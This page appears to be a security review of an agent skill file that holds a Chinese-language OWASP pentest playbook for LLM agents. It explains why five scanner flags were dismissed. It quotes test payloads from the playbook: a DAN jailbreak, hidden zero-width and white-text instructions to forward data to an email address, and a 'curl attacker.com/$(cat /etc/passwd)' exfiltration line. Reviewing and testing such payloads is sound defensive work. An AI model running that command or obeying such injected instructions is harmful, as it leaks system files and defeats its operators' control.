What the reviewer found
Chinese-language OWASP LLM/agent pentest methodology whose step 1 requires confirming the engagement is authorized. The DAN, zero-width, white-span "forward to [email protected]", and curl attacker.com/$(cat /etc/passwd) strings are example injection-test payloads in a testing playbook, not instructions aimed at the reader.
dual-use— a security tool that can be misusedexample-or-fixture— an example or test fixtureprompt-injection— tries to steer the agent
What was read
The file as it ships in Asaiuta/reverse-workbench-skill:
skills/llm-security/SKILL.md
What the static scan said
The scan flagged 5things. The reviewer kept 0 and dismissed 5 as false.
P1Instruction-override phrasing — false positiveP2Hidden instructions — false positiveP6Asks the agent to reveal its instructions — false positiveAR3Nullifies safety policies — false positiveNETMakes network calls — false positive
How this review was made
Fable 5.1 read the files above on 7 September 2026 and answered three questions: is it dangerous to whoever installs it, is each scanner finding real, and what should the installer know. The verdict is bound to the file's hash; when the file changes, it is scanned afresh and reviewed again. A script that changes while the definition does not is not re-reviewed — that is a known gap. How the scan and the review work.